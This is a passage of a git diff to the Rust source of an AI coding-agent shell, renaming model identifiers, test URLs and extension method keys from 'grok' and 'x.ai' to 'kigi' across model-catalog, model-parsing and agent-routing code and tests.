     /// A cache persisted by a process pointed at a *different backend* (env
@@ -3117,7 +3117,7 @@ mod tests {
         let cache = test_cache_manager(tmp.path());
         let auth_method = mgr.inner.fetch_auth.read().cache_auth_method();
         cache.persist(
-            &make_prefetched(&["grok-other-origin"]),
+            &make_prefetched(&["kigi-other-origin"]),
             Some("etag-y"),
             auth_method,
             "http://127.0.0.1:49953/v1/models",
@@ -3125,7 +3125,7 @@ mod tests {
 
         mgr.reload_from_cache_manager(&cache);
 
-        assert!(!mgr.models().contains_key("grok-other-origin"));
+        assert!(!mgr.models().contains_key("kigi-other-origin"));
         assert!(mgr.inner.etag.read().is_none());
     }
 
@@ -3144,13 +3144,13 @@ mod tests {
             auth_method: Some(auth_method),
             origin: None,
             etag: Some("etag-legacy".into()),
-            models: make_prefetched(&["grok-legacy"]),
+            models: make_prefetched(&["kigi-legacy"]),
         };
         cache.atomic_write(&legacy);
 
         mgr.reload_from_cache_manager(&cache);
 
-        assert!(!mgr.models().contains_key("grok-legacy"));
+        assert!(!mgr.models().contains_key("kigi-legacy"));
     }
 
     // ── clear() resets has_fetched_real_catalog ──────────────────────
@@ -3159,9 +3159,9 @@ mod tests {
     fn clear_resets_has_fetched_real_catalog() {
         let mgr = test_manager();
         let mut cfg = config::Config::default();
-        cfg.models.default = Some("grok-3".to_string());
+        cfg.models.default = Some("kigi-3".to_string());
 
-        let prefetched = make_prefetched(&["grok-3", "grok-4"]);
+        let prefetched = make_prefetched(&["kigi-3", "kigi-4"]);
         mgr.apply_refresh_result(&cfg, Some(prefetched), None);
         assert!(mgr.has_fetched_real_catalog());
 
@@ -3169,7 +3169,7 @@ mod tests {
         assert!(!mgr.has_fetched_real_catalog());
 
         // New identity fetch — resolves default via reselect_default_model.
-        let prefetched = make_prefetched(&["grok-4.5", "grok-4.3"]);
+        let prefetched = make_prefetched(&["kigi-4.5", "kigi-4.3"]);
         mgr.apply_refresh_result(&cfg, Some(prefetched), None);
         let first_available = mgr.available().keys().next().unwrap().clone();
         assert_eq!(
@@ -3610,25 +3610,25 @@ mod tests {
     #[test]
     fn build_prefetched_map_distinct_ids_same_slug() {
         let entries = vec![
-            make_entry_config_with_id(Some("auto"), "grok-build", Some("Auto")),
-            make_entry_config_with_id(Some("grok-build"), "grok-build", Some("Grok Build")),
+            make_entry_config_with_id(Some("auto"), "kigi", Some("Auto")),
+            make_entry_config_with_id(Some("kigi"), "kigi", Some("Kigi")),
             make_entry_config_with_id(
-                Some("grok-composer-2.5-fast"),
-                "grok-composer-2.5-fast",
-                Some("Grok Fast"),
+                Some("kigi-composer-2.5-fast"),
+                "kigi-composer-2.5-fast",
+                Some("Kigi Fast"),
             ),
         ];
         let map = build_prefetched_map(entries);
 
         assert_eq!(map.len(), 3, "all three entries should survive");
         assert!(map.contains_key("auto"));
-        assert!(map.contains_key("grok-build"));
-        assert!(map.contains_key("grok-composer-2.5-fast"));
+        assert!(map.contains_key("kigi"));
+        assert!(map.contains_key("kigi-composer-2.5-fast"));
         assert_eq!(
-            map["auto"].info.model, "grok-build",
-            "auto entry should still route to grok-build"
+            map["auto"].info.model, "kigi",
+            "auto entry should still route to kigi"
         );
-        assert_eq!(map["grok-build"].info.model, "grok-build");
+        assert_eq!(map["kigi"].info.model, "kigi");
     }
 
     /// No id field — falls back to model slug as key.
@@ -3649,13 +3649,13 @@ mod tests {
     #[test]
     fn build_prefetched_map_duplicate_id_overwrites() {
         let entries = vec![
-            make_entry_config_with_id(Some("grok-build"), "grok-build", Some("First")),
-            make_entry_config_with_id(Some("grok-build"), "grok-build", Some("Second")),
+            make_entry_config_with_id(Some("kigi"), "kigi", Some("First")),
+            make_entry_config_with_id(Some("kigi"), "kigi", Some("Second")),
         ];
         let map = build_prefetched_map(entries);
 
         assert_eq!(map.len(), 1, "duplicate id: second overwrites first");
-        assert_eq!(map["grok-build"].info.name.as_deref(), Some("Second"));
+        assert_eq!(map["kigi"].info.name.as_deref(), Some("Second"));
     }
 
     /// Regression: resolve_default_model must match by id before scanning
@@ -3664,31 +3664,24 @@ mod tests {
     #[test]
     fn resolve_default_model_prefers_id_over_model_slug() {
         let mut catalog: IndexMap<String, ModelEntry> = IndexMap::new();
-        catalog.insert(
-            "auto-grok-build".to_string(),
-            make_model_entry("grok-build"),
-        );
-        catalog.insert("grok-build".to_string(), make_model_entry("grok-build"));
+        catalog.insert("auto-kigi".to_string(), make_model_entry("kigi"));
+        catalog.insert("kigi".to_string(), make_model_entry("kigi"));
 
         let mut cfg = config::Config::default();
-        cfg.models.default = Some("grok-build".to_string());
+        cfg.models.default = Some("kigi".to_string());
 
         let (key, _, _) = resolve_default_model(&cfg, &catalog, true);
-        assert_eq!(key, "grok-build", "must match id, not first slug hit");
+        assert_eq!(key, "kigi", "must match id, not first slug hit");
     }
 
     /// No id field — falls back to slug as key.
     #[test]
     fn build_prefetched_map_none_id_falls_back_to_slug() {
-        let entries = vec![make_entry_config_with_id(
-            None,
-            "grok-build",
-            Some("Grok Build"),
-        )];
+        let entries = vec![make_entry_config_with_id(None, "kigi", Some("Kigi"))];
         let map = build_prefetched_map(entries);
 
         assert_eq!(map.len(), 1);
-        assert!(map.contains_key("grok-build"));
+        assert!(map.contains_key("kigi"));
     }
 
     // ── persisted model id → catalog key (session resume) ─────────────
@@ -3696,94 +3689,79 @@ mod tests {
     #[test]
     fn resolve_catalog_key_maps_routing_slug_to_config_key() {
         let mut models = IndexMap::new();
-        models.insert(
-            "enterprise-grok-build".to_string(),
-            make_model_entry("grok-4.5"),
-        );
-        models.insert("grok-4.3".to_string(), make_model_entry("grok-4.3"));
+        models.insert("enterprise-kigi".to_string(), make_model_entry("kigi-4.5"));
+        models.insert("kigi-4.3".to_string(), make_model_entry("kigi-4.3"));
 
-        let persisted = acp::ModelId::new("grok-4.5");
+        let persisted = acp::ModelId::new("kigi-4.5");
         let key = resolve_catalog_key(&models, &persisted).expect("slug must resolve");
-        assert_eq!(key.0.as_ref(), "enterprise-grok-build");
+        assert_eq!(key.0.as_ref(), "enterprise-kigi");
     }
 
     #[test]
     fn resolve_catalog_key_prefers_exact_key_match() {
         let mut models = IndexMap::new();
-        models.insert("grok-4.5".to_string(), make_model_entry("grok-4.5"));
+        models.insert("kigi-4.5".to_string(), make_model_entry("kigi-4.5"));
 
-        let persisted = acp::ModelId::new("grok-4.5");
+        let persisted = acp::ModelId::new("kigi-4.5");
         let key = resolve_catalog_key(&models, &persisted).expect("exact key must resolve");
-        assert_eq!(key.0.as_ref(), "grok-4.5");
+        assert_eq!(key.0.as_ref(), "kigi-4.5");
     }
 
     #[test]
     fn resolve_catalog_key_last_slug_match_wins() {
         let mut models = IndexMap::new();
-        models.insert(
-            "default-grok-build".to_string(),
-            make_model_entry("grok-4.5"),
-        );
-        models.insert("user-grok-build".to_string(), make_model_entry("grok-4.5"));
+        models.insert("default-kigi".to_string(), make_model_entry("kigi-4.5"));
+        models.insert("user-kigi".to_string(), make_model_entry("kigi-4.5"));
 
-        let persisted = acp::ModelId::new("grok-4.5");
+        let persisted = acp::ModelId::new("kigi-4.5");
         let key = resolve_catalog_key(&models, &persisted).expect("slug must resolve");
-        assert_eq!(key.0.as_ref(), "user-grok-build");
+        assert_eq!(key.0.as_ref(), "user-kigi");
     }
 
     #[test]
     fn selectable_catalog_key_for_persisted_none_when_resolved_not_available() {
         let mut models = IndexMap::new();
-        models.insert(
-            "enterprise-grok-build".to_string(),
-            make_model_entry("grok-4.5"),
-        );
+        models.insert("enterprise-kigi".to_string(), make_model_entry("kigi-4.5"));
 
         let available: IndexMap<_, _> = IndexMap::new();
-        let persisted = acp::ModelId::new("grok-4.5");
+        let persisted = acp::ModelId::new("kigi-4.5");
         assert!(selectable_catalog_key_for_persisted(&models, &available, &persisted).is_none());
     }
 
     #[test]
     fn selectable_prefers_available_identity_over_non_selectable_exact_key() {
         let mut models = IndexMap::new();
-        models.insert("grok-build".to_string(), make_model_entry("grok-build"));
-        models.insert(
-            "enterprise-grok-build".to_string(),
-            make_model_entry("grok-build"),
-        );
-        models.insert("grok-4.3".to_string(), make_model_entry("grok-4.3"));
+        models.insert("kigi".to_string(), make_model_entry("kigi"));
+        models.insert("enterprise-kigi".to_string(), make_model_entry("kigi"));
+        models.insert("kigi-4.3".to_string(), make_model_entry("kigi-4.3"));
 
-        let available = test_available_keys(&["enterprise-grok-build", "grok-4.3"]);
+        let available = test_available_keys(&["enterprise-kigi", "kigi-4.3"]);
 
-        let persisted = acp::ModelId::new("grok-build");
+        let persisted = acp::ModelId::new("kigi");
         assert_eq!(
             resolve_catalog_key(&models, &persisted)
                 .expect("exact key exists")
                 .0
                 .as_ref(),
-            "grok-build"
+            "kigi"
         );
         let key = selectable_catalog_key_for_persisted(&models, &available, &persisted)
             .expect("must resolve to selectable section");
-        assert_eq!(key.0.as_ref(), "enterprise-grok-build");
+        assert_eq!(key.0.as_ref(), "enterprise-kigi");
     }
 
     #[test]
     fn selectable_matches_routing_slug_when_no_exact_key() {
         let mut models = IndexMap::new();
-        models.insert(
-            "enterprise-grok-build".to_string(),
-            make_model_entry("grok-build"),
-        );
-        models.insert("grok-4.3".to_string(), make_model_entry("grok-4.3"));
+        models.insert("enterprise-kigi".to_string(), make_model_entry("kigi"));
+        models.insert("kigi-4.3".to_string(), make_model_entry("kigi-4.3"));
 
-        let available = test_available_keys(&["enterprise-grok-build", "grok-4.3"]);
+        let available = test_available_keys(&["enterprise-kigi", "kigi-4.3"]);
 
-        let persisted = acp::ModelId::new("grok-build");
+        let persisted = acp::ModelId::new("kigi");
         let key = selectable_catalog_key_for_persisted(&models, &available, &persisted)
             .expect("slug must resolve to selectable key");
-        assert_eq!(key.0.as_ref(), "enterprise-grok-build");
+        assert_eq!(key.0.as_ref(), "enterprise-kigi");
     }
 
     /// A persisted *selectable* catalog key binds to itself even when a later
@@ -3791,15 +3769,15 @@ mod tests {
     #[test]
     fn selectable_prefers_exact_key_over_later_slug_match() {
         let mut models = IndexMap::new();
-        models.insert("grok-build".to_string(), make_model_entry("grok-4.5"));
-        models.insert("other".to_string(), make_model_entry("grok-build"));
+        models.insert("kigi".to_string(), make_model_entry("kigi-4.5"));
+        models.insert("other".to_string(), make_model_entry("kigi"));
 
-        let available = test_available_keys(&["grok-build", "other"]);
+        let available = test_available_keys(&["kigi", "other"]);
 
-        let persisted = acp::ModelId::new("grok-build");
+        let persisted = acp::ModelId::new("kigi");
         let key = selectable_catalog_key_for_persisted(&models, &available, &persisted)
             .expect("exact selectable key must win");
-        assert_eq!(key.0.as_ref(), "grok-build");
+        assert_eq!(key.0.as_ref(), "kigi");
     }
 
     fn test_available_keys(keys: &[&str]) -> IndexMap<acp::ModelId, acp::ModelInfo> {
diff --git a/crates/codegen/kigi-shell/src/agent/models_fetch.rs b/crates/codegen/kigi-shell/src/agent/models_fetch.rs
index 79d76bc..6e6c883 100644
--- a/crates/codegen/kigi-shell/src/agent/models_fetch.rs
+++ b/crates/codegen/kigi-shell/src/agent/models_fetch.rs
@@ -657,13 +657,13 @@ mod tests {
     #[test]
     fn parse_openai_format_uses_id_field() {
         let value = serde_json::json!(
-            { "id" : "grok-3", "object" : "model", "owned_by" : "xai", "context_window" :
+            { "id" : "kigi-3", "object" : "model", "owned_by" : "xai", "context_window" :
             131072 }
         );
-        let result = parse_remote_model_value(&value, "https://api.x.ai/v1").unwrap();
-        assert_eq!(result.model, "grok-3");
-        assert_eq!(result.base_url, "https://api.x.ai/v1");
-        assert_eq!(result.name.as_deref(), Some("grok-3"));
+        let result = parse_remote_model_value(&value, "https://byok.example/v1").unwrap();
+        assert_eq!(result.model, "kigi-3");
+        assert_eq!(result.base_url, "https://byok.example/v1");
+        assert_eq!(result.name.as_deref(), Some("kigi-3"));
     }
     #[test]
     fn parse_model_field_takes_priority_over_id() {
@@ -753,14 +753,14 @@ mod tests {
     fn parse_reads_reasoning_effort_fields() {
         use kigi_sampling_types::ReasoningEffort;
         let value = serde_json::json!(
-            { "model" : "grok-4.5", "context_window" : 1_000_000,
+            { "model" : "kigi-4.5", "context_window" : 1_000_000,
             "supports_reasoning_effort" : true, "reasoning_effort" : "high" }
         );
         let result = parse_remote_model_value(&value, "https://default.url").unwrap();
         assert!(result.supports_reasoning_effort);
         assert_eq!(result.reasoning_effort, Some(ReasoningEffort::High));
         let value = serde_json::json!(
-            { "model" : "grok-4.5", "contextWindow" : 1_000_000,
+            { "model" : "kigi-4.5", "contextWindow" : 1_000_000,
             "supportsReasoningEffort" : true, "reasoningEffort" : "xhigh" }
         );
         let result = parse_remote_model_value(&value, "https://default.url").unwrap();
@@ -775,7 +775,7 @@ mod tests {
     fn parse_reads_reasoning_efforts_list() {
         use kigi_sampling_types::ReasoningEffort;
         let value = serde_json::json!(
-            { "model" : "grok-4.5", "context_window" : 1_000_000, "reasoning_efforts" :
+            { "model" : "kigi-4.5", "context_window" : 1_000_000, "reasoning_efforts" :
             [{ "id" : "deep", "value" : "xhigh", "label" : "Deep" }, { "value" :
             "quantum" }, "low",] }
         );
@@ -819,7 +819,7 @@ mod tests {
     #[test]
     fn parse_remote_model_value_no_laziness_detector_block_yields_default() {
         let value = serde_json::json!(
-            { "model" : "grok-4", "context_window" : 256_000, }
+            { "model" : "kigi-4", "context_window" : 256_000, }
         );
         let result = parse_remote_model_value(&value, "https://default.url").unwrap();
         assert_eq!(
@@ -830,7 +830,7 @@ mod tests {
     #[test]
     fn parse_remote_model_value_parses_camelcase_key() {
         let value = serde_json::json!(
-            { "model" : "grok-4", "context_window" : 256_000, "lazinessDetector" : {
+            { "model" : "kigi-4", "context_window" : 256_000, "lazinessDetector" : {
             "enabled" : true, "max_nudges_per_session" : 2, "idle_threshold_ms" : 12_000,
             "min_confidence" : 0.75, }, }
         );
@@ -847,7 +847,7 @@ mod tests {
     #[test]
     fn parse_remote_model_value_parses_snake_case_laziness_detector() {
         let value = serde_json::json!(
-            { "model" : "grok-4", "context_window" : 256_000, "laziness_detector" : {
+            { "model" : "kigi-4", "context_window" : 256_000, "laziness_detector" : {
             "enabled" : true, "max_nudges_per_session" : 3, "idle_threshold_ms" : 8_000,
             "min_confidence" : 0.6, }, }
         );
@@ -864,7 +864,7 @@ mod tests {
     #[test]
     fn parse_remote_model_value_parses_meta_laziness_detector() {
         let value = serde_json::json!(
-            { "model" : "grok-4", "context_window" : 256_000, "_meta" : {
+            { "model" : "kigi-4", "context_window" : 256_000, "_meta" : {
             "lazinessDetector" : { "enabled" : true, "max_nudges_per_session" : 1,
             "idle_threshold_ms" : 15_000, "min_confidence" : 0.9, }, }, }
         );
@@ -881,7 +881,7 @@ mod tests {
     #[test]
     fn parse_remote_model_value_partial_block_uses_field_defaults() {
         let value = serde_json::json!(
-            { "model" : "grok-4", "context_window" : 256_000, "lazinessDetector" : {
+            { "model" : "kigi-4", "context_window" : 256_000, "lazinessDetector" : {
             "enabled" : true, }, }
         );
         let result = parse_remote_model_value(&value, "https://default.url").unwrap();
@@ -897,7 +897,7 @@ mod tests {
     #[test]
     fn parse_remote_model_value_malformed_block_falls_back_to_default() {
         let value = serde_json::json!(
-            { "model" : "grok-4", "context_window" : 256_000, "lazinessDetector" : {
+            { "model" : "kigi-4", "context_window" : 256_000, "lazinessDetector" : {
             "enabled" : true, "max_nudges_per_session" : "abc", }, }
         );
         let result = parse_remote_model_value(&value, "https://default.url").unwrap();
@@ -909,7 +909,7 @@ mod tests {
     #[test]
     fn parse_remote_model_value_non_object_value_falls_back_to_default() {
         let value = serde_json::json!(
-            { "model" : "grok-4", "context_window" : 256_000, "lazinessDetector" :
+            { "model" : "kigi-4", "context_window" : 256_000, "lazinessDetector" :
             "not-an-object", }
         );
         let result = parse_remote_model_value(&value, "https://default.url").unwrap();
@@ -921,7 +921,7 @@ mod tests {
     #[test]
     fn parse_remote_model_value_top_level_camelcase_wins_over_snake_case() {
         let value = serde_json::json!(
-            { "model" : "grok-4", "context_window" : 256_000, "lazinessDetector" : {
+            { "model" : "kigi-4", "context_window" : 256_000, "lazinessDetector" : {
             "enabled" : true, "max_nudges_per_session" : 7, }, "laziness_detector" : {
             "enabled" : false, "max_nudges_per_session" : 99, }, }
         );
@@ -942,7 +942,7 @@ mod tests {
     #[test]
     fn parse_remote_model_value_parses_include_reasoning_under_camelcase_wrapper() {
         let value = serde_json::json!(
-            { "model" : "grok-4", "context_window" : 256_000, "lazinessDetector" : {
+            { "model" : "kigi-4", "context_window" : 256_000, "lazinessDetector" : {
             "enabled" : true, "include_reasoning" : false, }, }
         );
         let result = parse_remote_model_value(&value, "https://default.url").unwrap();
@@ -951,7 +951,7 @@ mod tests {
     #[test]
     fn parse_remote_model_value_parses_include_reasoning_under_snake_case_wrapper() {
         let value = serde_json::json!(
-            { "model" : "grok-4", "context_window" : 256_000, "laziness_detector" : {
+            { "model" : "kigi-4", "context_window" : 256_000, "laziness_detector" : {
             "enabled" : true, "include_reasoning" : true, }, }
         );
         let result = parse_remote_model_value(&value, "https://default.url").unwrap();
@@ -960,7 +960,7 @@ mod tests {
     #[test]
     fn parse_remote_model_value_omitted_include_reasoning_defaults_to_none() {
         let value = serde_json::json!(
-            { "model" : "grok-4", "context_window" : 256_000, "lazinessDetector" : {
+            { "model" : "kigi-4", "context_window" : 256_000, "lazinessDetector" : {
             "enabled" : true, "max_nudges_per_session" : 2, }, }
         );
         let result = parse_remote_model_value(&value, "https://default.url").unwrap();
@@ -972,7 +972,7 @@ mod tests {
     #[test]
     fn parse_remote_model_value_top_level_wins_over_meta() {
         let value = serde_json::json!(
-            { "model" : "grok-4", "context_window" : 256_000, "lazinessDetector" : {
+            { "model" : "kigi-4", "context_window" : 256_000, "lazinessDetector" : {
             "enabled" : true, "max_nudges_per_session" : 5, }, "_meta" : {
             "lazinessDetector" : { "enabled" : false, "max_nudges_per_session" : 99, },
             }, }
@@ -990,19 +990,19 @@ mod tests {
     #[test]
     fn parse_reads_show_model_fingerprint_field() {
         let value = serde_json::json!(
-            { "model" : "grok-build", "context_window" : 256_000,
+            { "model" : "kigi", "context_window" : 256_000,
             "show_model_fingerprint" : true }
         );
         let result = parse_remote_model_value(&value, "https://default.url").unwrap();
         assert!(result.show_model_fingerprint);
         let value = serde_json::json!(
-            { "model" : "grok-build", "contextWindow" : 256_000, "showModelFingerprint" :
+            { "model" : "kigi", "contextWindow" : 256_000, "showModelFingerprint" :
             true }
         );
         let result = parse_remote_model_value(&value, "https://default.url").unwrap();
         assert!(result.show_model_fingerprint);
         let value = serde_json::json!(
-            { "model" : "grok-build", "context_window" : 256_000, "_meta" : {
+            { "model" : "kigi", "context_window" : 256_000, "_meta" : {
             "showModelFingerprint" : true } }
         );
         let result = parse_remote_model_value(&value, "https://default.url").unwrap();
@@ -1087,10 +1087,13 @@ mod tests {
     fn list_url_derived_from_base_url() {
         let ep = endpoints(
             "https://proxy.kigi.com/v1",
-            Some("https://api.x.ai/v1"),
+            Some("https://byok.example/v1"),
             None,
         );
-        assert_eq!(ep.resolve_models_list_url(), "https://api.x.ai/v1/models");
+        assert_eq!(
+            ep.resolve_models_list_url(),
+            "https://byok.example/v1/models"
+        );
     }
     #[test]
     fn list_url_explicit_overrides_derivation() {
diff --git a/crates/codegen/kigi-shell/src/agent/mvp_agent/acp_agent.rs b/crates/codegen/kigi-shell/src/agent/mvp_agent/acp_agent.rs
index 09957bb..93a2bc9 100644
--- a/crates/codegen/kigi-shell/src/agent/mvp_agent/acp_agent.rs
+++ b/crates/codegen/kigi-shell/src/agent/mvp_agent/acp_agent.rs
@@ -65,10 +65,10 @@ impl acp::Agent for MvpAgent {
         }
         if client_type == ClientType::Generic {
             match client_identifier.as_deref() {
-                Some("grok-web") => client_type = ClientType::GrokWeb,
+                Some("kigi-web") => client_type = ClientType::KigiWeb,
                 Some("nebula") => client_type = ClientType::Nebula,
-                Some("grok-code-extension") => client_type = ClientType::Extension,
-                Some("grok-desktop") => client_type = ClientType::Desktop,
+                Some("kigi-code-extension") => client_type = ClientType::Extension,
+                Some("kigi-desktop") => client_type = ClientType::Desktop,
                 _ => {}
             }
         }
@@ -80,7 +80,7 @@ impl acp::Agent for MvpAgent {
             code_nav_enabled, client_type = ? client_type, event =
             "code_nav_capability_parsed",
             "code-nav capability initialized from initialize request; \
-             index will start lazily on first x.ai/code/* request if eligible"
+             index will start lazily on first kigi/code/* request if eligible"
         );
         let interactive_trust_client = Self::parse_interactive_trust_capability(
             &arguments,
@@ -279,7 +279,7 @@ impl acp::Agent for MvpAgent {
                         .load_session(true)
                         .meta(
                             serde_json::json!(
-                                { "x.ai/fs_notify" : true, "x.ai/hooks" : { "blockingEvents"
+                                { "kigi/fs_notify" : true, "kigi/hooks" : { "blockingEvents"
                                 : [kigi_hooks::event::HookEventName::PreToolUse],
                                 "decisions" : ["deny"], }, }
                             )
@@ -297,7 +297,7 @@ impl acp::Agent for MvpAgent {
                 .meta({
                     let metadata = parse_json_object_env("KIGI_AGENT_METADATA");
                     serde_json::json!(
-                        { "grokShell" : true, "defaultAuthMethodId" :
+                        { "kigiShell" : true, "defaultAuthMethodId" :
                         default_auth_method_id_wire, (kigi_mcp::wire::MCP_SDK) :
                         true, (SESSION_PLUGIN_DIRS_CAPABILITY_KEY) : true,
                         "currentWorkingDirectory" : current_working_directory
@@ -372,7 +372,7 @@ impl acp::Agent for MvpAgent {
                     return self
                         .authenticate(
                             acp::AuthenticateRequest::new(
-                                    acp::AuthMethodId::new(auth_method::KIGI_COM_METHOD_ID),
+                                    acp::AuthMethodId::new(auth_method::KIMI_CODE_METHOD_ID),
                                 )
                                 .meta(arguments.meta),
                         )
@@ -425,7 +425,7 @@ impl acp::Agent for MvpAgent {
                 emit_login_span(true, "cached_token", uid.as_deref(), None);
                 Ok(self.auth_response_with_meta())
             }
-            auth_method::KIGI_COM_METHOD_ID => {
+            auth_method::KIMI_CODE_METHOD_ID => {
                 let kimi_ctx = self.auth_manager.kimi_code_config().clone();
                 let auth_meta = AuthRequestMeta::from_json(arguments.meta.as_ref());
                 tracing::info!(
@@ -488,10 +488,10 @@ impl acp::Agent for MvpAgent {
                     let mut sampling_config = self.sampling_config.borrow_mut();
                     sampling_config.api_key = Some(auth.key.clone());
                     tracing::debug!(
-                        "auth: grok.com/oidc handler set api_key (SessionToken)"
+                        "auth: kimi.com/oidc handler set api_key (SessionToken)"
                     );
                     kigi_log::unified_log::debug(
-                        "auth: grok.com/oidc handler set api_key (SessionToken)",
+                        "auth: kimi.com/oidc handler set api_key (SessionToken)",
                         None,
                         None,
                     );
@@ -827,7 +827,7 @@ impl acp::Agent for MvpAgent {
             Some(serde_json::json!({ "cwd" : cwd.as_str() })),
         );
         let models = if is_chat_kind {
-            // The grok.com chat-mode model picker was removed with the xAI
+            // The kimi.com chat-mode model picker was removed with the xAI
             // proxy; a chat-kind session has no managed catalog to offer.
             chat_new_session_model_state(
                 acp::SessionModelState::new(acp::ModelId::from(String::new()), Vec::new()),
@@ -846,8 +846,8 @@ impl acp::Agent for MvpAgent {
             feedback_enabled, }
         );
         if let Some(obj) = meta.as_object_mut() {
-            obj.insert("x.ai/sessionConfig".to_string(), session_config_value);
-            obj.insert("x.ai/sessionDetail".to_string(), session_detail_value);
+            obj.insert("kigi/sessionConfig".to_string(), session_config_value);
+            obj.insert("kigi/sessionDetail".to_string(), session_detail_value);
         }
         Ok(
             acp::NewSessionResponse::new(session_id)
@@ -874,12 +874,12 @@ impl acp::Agent for MvpAgent {
         let persist_data = arguments
             .meta
             .as_ref()
-            .and_then(|m| m.get("x.ai/persist"))
+            .and_then(|m| m.get("kigi/persist"))
             .cloned();
         let target_client_id = arguments
             .meta
             .as_ref()
-            .and_then(|m| m.get("x.ai/leaderClientId"))
+            .and_then(|m| m.get("kigi/leaderClientId"))
             .cloned();
         let acp::LoadSessionRequest {
             session_id,
@@ -1010,7 +1010,7 @@ impl acp::Agent for MvpAgent {
         );
         let restore_code_requested = request_meta
             .as_ref()
-            .and_then(|m| m.get("x.ai/restore_code"))
+            .and_then(|m| m.get("kigi/restore_code"))
             .and_then(|v| v.as_bool())
             .unwrap_or(self.restore_code);
         let registry_client_for_restore = self.session_registry_client();
@@ -1030,7 +1030,7 @@ impl acp::Agent for MvpAgent {
                 target : kigi_workspace::session::git::RESTORE_CODE_LOG, session_id =
                 % session_id.0, supplied_cwd = % cwd.as_str(), persisted_cwd = % summary
                 .info.cwd, target_sha = % target_sha,
-                "restore_code: skipping session HEAD checkout — supplied cwd is neither a grok worktree nor the session's persisted cwd (refusing to detach the source repo)"
+                "restore_code: skipping session HEAD checkout — supplied cwd is neither a kigi worktree nor the session's persisted cwd (refusing to detach the source repo)"
             );
             kigi_log::unified_log::warn(
                 "restore_code: skipped session HEAD checkout (unsafe cwd)",
@@ -1075,7 +1075,7 @@ impl acp::Agent for MvpAgent {
         let load_envrc = {
             let skip_envrc = request_meta
                 .as_ref()
-                .and_then(|m| m.get("x.ai/skip_envrc"))
+                .and_then(|m| m.get("kigi/skip_envrc"))
                 .and_then(|v| v.as_bool())
                 .unwrap_or(false);
             if skip_envrc {
@@ -1156,7 +1156,7 @@ impl acp::Agent for MvpAgent {
         );
         let prompt_display_cwd = request_meta
             .as_ref()
-            .and_then(|m| m.get("x.ai/display_cwd"))
+            .and_then(|m| m.get("kigi/display_cwd"))
             .and_then(|v| v.as_str())
             .map(|s| s.to_string())
             .or_else(|| summary.prompt_display_cwd.clone());
@@ -1462,7 +1462,7 @@ impl acp::Agent for MvpAgent {
         let mut response_meta_map = serde_json::Map::new();
         response_meta_map.insert("sessionId".to_string(), serde_json::json!(session_id));
         if let Some(persist) = persist_data {
-            response_meta_map.insert("x.ai/persist".to_string(), persist);
+            response_meta_map.insert("kigi/persist".to_string(), persist);
         }
         let session_cwd = self
             .sessions
@@ -1517,7 +1517,7 @@ impl acp::Agent for MvpAgent {
         {
             response_meta_map
                 .insert(
-                    "x.ai/runningPromptId".to_string(),
+                    "kigi/runningPromptId".to_string(),
                     serde_json::json!(running_prompt_id),
                 );
         }
@@ -1529,8 +1529,8 @@ impl acp::Agent for MvpAgent {
                 summary.display_title_opt(),
                 &model_state,
             );
-        response_meta_map.insert("x.ai/sessionConfig".to_string(), session_config_value);
-        response_meta_map.insert("x.ai/sessionDetail".to_string(), session_detail_value);
+        response_meta_map.insert("kigi/sessionConfig".to_string(), session_config_value);
+        response_meta_map.insert("kigi/sessionDetail".to_string(), session_detail_value);
         let response_meta = serde_json::Value::Object(response_meta_map);
         kigi_log::unified_log::info(
             "session loaded",
@@ -1846,7 +1846,7 @@ impl acp::Agent for MvpAgent {
             self.gateway
                 .forward_fire_and_forget(
                     acp::ExtNotification::new(
-                        "x.ai/session/prompt_complete",
+                        "kigi/session/prompt_complete",
                         params.into(),
                     ),
                 );
@@ -2045,116 +2045,116 @@ impl acp::Agent for MvpAgent {
         let mut backend_no_bridge_err: Option<acp::Error> = None;
         let method = args.method.clone();
         let result = match method.as_ref() {
-            "x.ai/getApiKey" | "x.ai/setApiKey" => {
+            "kigi/getApiKey" | "kigi/setApiKey" => {
                 crate::extensions::auth::handle(self, &args).await
             }
-            "x.ai/session/info" | "x.ai/session/close" | "x.ai/session/list"
-            | "x.ai/sessions/list" => {
+            "kigi/session/info" | "kigi/session/close" | "kigi/session/list"
+            | "kigi/sessions/list" => {
                 crate::agent::handlers::session::handle(self, &args).await
             }
-            "x.ai/session/updates" => {
+            "kigi/session/updates" => {
                 crate::extensions::session_updates::handle(&args, &self.gateway).await
             }
-            "x.ai/session/load_history" => {
+            "kigi/session/load_history" => {
                 crate::extensions::chat_conversation_history::handle(self, &args).await
             }
-            "x.ai/session/search" => {
+            "kigi/session/search" => {
                 crate::extensions::session_search::handle(&args).await
             }
-            "x.ai/session/resolve_local_for_worktree_resume"
-            | "x.ai/session/rehydrate" => {
+            "kigi/session/resolve_local_for_worktree_resume"
+            | "kigi/session/rehydrate" => {
                 let ops = self.resolve_workspace_ops()?;
                 crate::extensions::worktree::handle(self, &ops, &args).await
             }
-            "x.ai/session/rename" | "x.ai/session/delete"
-            | "x.ai/session/update_mcp_servers" | "x.ai/session/fork"
-            | "x.ai/internal/reload_all_mcp_servers"
-            | "x.ai/internal/reload_project_mcp_servers" | "x.ai/internal/reload_skills"
-            | "x.ai/internal/reload_models" | "x.ai/internal/reload_models_cache"
-            | "x.ai/plugins/reload"
-            | "x.ai/commands/list" => {
+            "kigi/session/rename" | "kigi/session/delete"
+            | "kigi/session/update_mcp_servers" | "kigi/session/fork"
+            | "kigi/internal/reload_all_mcp_servers"
+            | "kigi/internal/reload_project_mcp_servers" | "kigi/internal/reload_skills"
+            | "kigi/internal/reload_models" | "kigi/internal/reload_models_cache"
+            | "kigi/plugins/reload"
+            | "kigi/commands/list" => {
                 crate::extensions::session_admin::handle(self, &args).await
             }
-            "x.ai/session/repair" => crate::extensions::repair::handle(self, &args).await,
-            "x.ai/billing" => crate::extensions::billing::handle(self, &args).await,
-            "x.ai/memory/flush" | "x.ai/memory/rewrite" => {
+            "kigi/session/repair" => crate::extensions::repair::handle(self, &args).await,
+            "kigi/billing" => crate::extensions::billing::handle(self, &args).await,
+            "kigi/memory/flush" | "kigi/memory/rewrite" => {
                 crate::extensions::memory::handle(self, &args).await
             }
-            "x.ai/skills/refresh-baseline" => {
+            "kigi/skills/refresh-baseline" => {
                 self.refresh_skill_baseline_for_all_sessions();
                 crate::extensions::to_ext_response(
                     Ok(serde_json::json!({ "ok" : true })),
                 )
             }
-            "x.ai/interject" => crate::extensions::interject::handle(self, &args).await,
-            "x.ai/feedback" | "x.ai/feedback/dismiss" | "x.ai/btw" => {
+            "kigi/interject" => crate::extensions::interject::handle(self, &args).await,
+            "kigi/feedback" | "kigi/feedback/dismiss" | "kigi/btw" => {
